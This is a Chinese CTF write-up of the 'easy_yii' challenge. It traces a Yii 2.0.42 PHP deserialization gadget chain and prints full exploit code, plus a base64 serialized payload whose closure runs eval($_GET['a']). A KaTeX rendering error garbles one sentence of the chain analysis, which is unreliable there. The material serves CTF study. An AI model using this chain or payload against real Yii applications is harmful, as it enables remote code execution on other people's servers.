深入分析祥云杯easy_yii
深入分析祥云杯easy_yii
题目描述
yii最新的链子
前置知识
析构函数__destruct
官方解释:析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
<?php
class MyDestructableClass {function __construct() {print "In constructor\n";$this->name = "MyDestructableClass";}function __destruct() {print "Destroying " . $this->name . "\n";}
}$obj = new MyDestructableClass();
?>
销毁对象或者变量这个东西PHP是如下定义显示销毁和隐示销毁的:
显示销毁:当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL;
隐示销毁:PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉。
和构造函数 __construct一样,父类的析构函数不会被引擎暗中调用。要执行父类的析构函数,必须在子类的析构函数体中显式调用 parent::__destruct()。此外也和构造函数一样,子类如果自己没有定义析构函数则会继承父类的。
题目复现
yii 2.0.42 最新反序列化利用
全局搜索__destruct
其他yii链利用都存在__wakeup 方法,直接抛出异常导致无法利用,
会遍历 $this->processes,那么这里的 $process 就可控,全局搜索 __call方法。
根据上图中已给出的漏洞利用链分析可知,$ this->generator可控,那么就可以调用任意类的方法,但KaTeX parse error: Expected group after '_' at position 24: …的,所以此处仅仅可以再次触发 _̲_call,但是注意do-wh…res就OK了,找其他的__call方法。
在DefaultGenerator.php中
这里返回内容完全可控,也就意味着$res也已经OK了
思路逐渐清晰
链子:
RunProcess入口 --> DefaultGenerator __call–>AppendStream–>CachingStream -->PumpStream call_user_func方法
在这里找到了利用的地方,中间参数和变量的控制根据exp可进行分析:
<?php
namespace Codeception\Extension{use Faker\DefaultGenerator;use GuzzleHttp\Psr7\AppendStream;class RunProcess{protected $output;private $processes = [];public function __construct(){$this->processes[]=new DefaultGenerator(new AppendStream());$this->output=new DefaultGenerator('K3vin');}}echo urlencode(serialize(new RunProcess()));
}namespace Faker{class DefaultGenerator
{protected $default;public function __construct($default = null){$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{use Faker\DefaultGenerator;final class AppendStream{private $streams = [];private $seekable = true;public function __construct(){$this->streams[]=new CachingStream();}}final class CachingStream{private $remoteStream;public function __construct(){$this->remoteStream=new DefaultGenerator(false);$this->stream=new PumpStream();}}final class PumpStream{private $source;private $size=-10;private $buffer;public function __construct(){$this->buffer=new DefaultGenerator('j');include("closure/autoload.php");$a = function(){phpinfo();};$a = \Opis\Closure\serialize($a);$b = unserialize($a);$this->source=$b;}}
}
反序列化后的结果:
得到如下:
TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjI6e3M6OToiACoAb3V0cHV0IjtPOjIyOiJGYWtlclxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjU6ImppYW5nIjt9czo0MzoiAENvZGVjZXB0aW9uXEV4dGVuc2lvblxSdW5Qcm9jZXNzAHByb2Nlc3NlcyI7YToxOntpOjA7TzoyMjoiRmFrZXJcRGVmYXVsdEdlbmVyYXRvciI6MTp7czoxMDoiACoAZGVmYXVsdCI7TzoyODoiR3V6emxlSHR0cFxQc3I3XEFwcGVuZFN0cmVhbSI6Mjp7czozNzoiAEd1enpsZUh0dHBcUHNyN1xBcHBlbmRTdHJlYW0Ac3RyZWFtcyI7YToxOntpOjA7TzoyOToiR3V6emxlSHR0cFxQc3I3XENhY2hpbmdTdHJlYW0iOjI6e3M6NDM6IgBHdXp6bGVIdHRwXFBzcjdcQ2FjaGluZ1N0cmVhbQByZW1vdGVTdHJlYW0iO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO2I6MDt9czo2OiJzdHJlYW0iO086MjY6Ikd1enpsZUh0dHBcUHNyN1xQdW1wU3RyZWFtIjozOntzOjM0OiIAR3V6emxlSHR0cFxQc3I3XFB1bXBTdHJlYW0Ac291cmNlIjtDOjMyOiJPcGlzXENsb3N1cmVcU2VyaWFsaXphYmxlQ2xvc3VyZSI6MTg0OnthOjU6e3M6MzoidXNlIjthOjA6e31zOjg6ImZ1bmN0aW9uIjtzOjI5OiJmdW5jdGlvbigpe2V2YWwoJF9HRVRbJ2EnXSk7fSI7czo1OiJzY29wZSI7czoyNjoiR3V6emxlSHR0cFxQc3I3XFB1bXBTdHJlYW0iO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwMzIyMWZjMmEwMDAwMDAwMDBlNjc3MjcyIjt9fXM6MzI6IgBHdXp6bGVIdHRwXFBzcjdcUHVtcFN0cmVhbQBzaXplIjtpOi0xMDtzOjM0OiIAR3V6emxlSHR0cFxQc3I3XFB1bXBTdHJlYW0AYnVmZmVyIjtPOjIyOiJGYWtlclxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjE6ImoiO319fX1zOjM4OiIAR3V6emxlSHR0cFxQc3I3XEFwcGVuZFN0cmVhbQBzZWVrYWJsZSI7YjoxO319fX0=
POST方式传数据即可拿flag
最后附上自动代码审计结果:
题目源码:
链接:https://pan.baidu.com/s/1QBdlRWhZ55h0VyB07DF3UQ
提取码:9i4i
参考文章
https://xz.aliyun.com/t/9948
https://zhuanlan.zhihu.com/p/403202397
深入分析祥云杯easy_yii相关推荐
- [2020首届祥云杯]带音乐家
[2020首届祥云杯]带音乐家 题目: 下载好附件,打开,得到一个文件与一个rar包: 并且rar包是经过了加密的,我这里去010里看了下,发现并不是伪加密: 所以突破点就只有上面的decode_it ...
- 祥云杯-re复现 (未完待续)
周末祥云杯没打,主要是自己想摸了..(就是这么直白)还有就是nctf举办,我出题,我到比赛那天还没出完...(太咕了..) 比赛后就想来复现这比赛,看解题人数,感觉满难的,应该很有质量,就跟着null ...
- 祥云杯2022 writeup
0x01 web 1.ezjava 下载源码对jar文件进行反编译,发现POST /myTest会出现反序列化漏洞 util ,最后好像没用到 检查程序,发现apache的common−collect ...
- 2021祥云杯PassWordBox_ProVersion
目录 前言: 程序分析 大致思路: 利用链: _IO_wfile_overflow _IO_wfile_underflow_mmap: exp: 前言: 复现一下2021祥云杯PassWordBox_ ...
- 2021祥云杯部分pwn
note 格式化字符串 本题考查了scanf的格式化字符串利用.一般我们用的都是printf的格式化字符串.这里是scanf 踩坑 一开始没有注意到sendline会多发一个换行符,导致往栈上$7的s ...
- 祥云杯-2020babydev
文章目录 前言 题目 保护 分析 思路 解法一:(思路不错) 解法二:(最精简) 解法三:(最简单) 参考文章 前言 个人觉得exp要写的精简,适当注释,至少不应该留有冗余的代码,对于刚学习的pwne ...
- 2021祥云杯部分wp
祥云杯2021 目前只做了两道题(没办法 tcl... MISC-鸣雏恋 下载下来是个word,打开只有一句话 不太对劲,放到010里看一看发现文件头50 4B 03 04 经典压缩包了,文件后缀改成 ...
- [2021祥云杯]secrets_of_admin
[2021祥云杯]secrets_of_admin 文章目录 [2021祥云杯]secrets_of_admin 代码分析 /的POST方式 /admin的GET方式 /admin的POST方式 /a ...
- java 中1%3c1%3c1_祥云杯2020 部分WriteUp
祥云杯 Web ★sign 1%09||%09ls%09/ 1%09||%09ca\t%09in\dex.p\hp时有个闪 1%09||find%09/%09-name%09`echo%09ZmxhK ...
最新文章
- 使用Query Object 模式 基于jpql实例
- 217. Contains Duplicate - LeetCode
- ORB特征匹配(python)
- RDC TERM TABLE
- 开篇词:中文自然语言处理——未来数据领域的珠穆朗玛峰
- Spring Boot 2.0 Intellij Idea 中图文详解打包成可执行Jar
- 读书笔记——5建造者模式(转)
- mysql 问题:Unknown system variable 'query_cache_size'
- Linux进程管理和怎样布置定时任务
- html怎么画表格边框,WEB 制作1px边框表格的几种方法
- 香帅的北大金融学课笔记18 -- 监管、创新、危机
- 启动IDEA都会打开Licenses激活弹窗
- npm ERR! network request to https://registry.npmjs.org/axios failed, reason: Client network socket d
- 修改rpg maker mv的几种上限2020-05-25
- 2020CADCG会议专题报告深度学习和图像笔记
- 辐射避难所买了东西显示服务器异常,辐射避难所各种BUG怎么解决 所有BUG应对方法一览...
- ios微信组件跳转_在iOS9中突破微信App跳转的限制
- java 排序库_Java数据库排序
- 《The Wiley Handbook of Human Computer Interaction》翻译之Part XI
- 一文弄懂L0、L1和L2正则化范式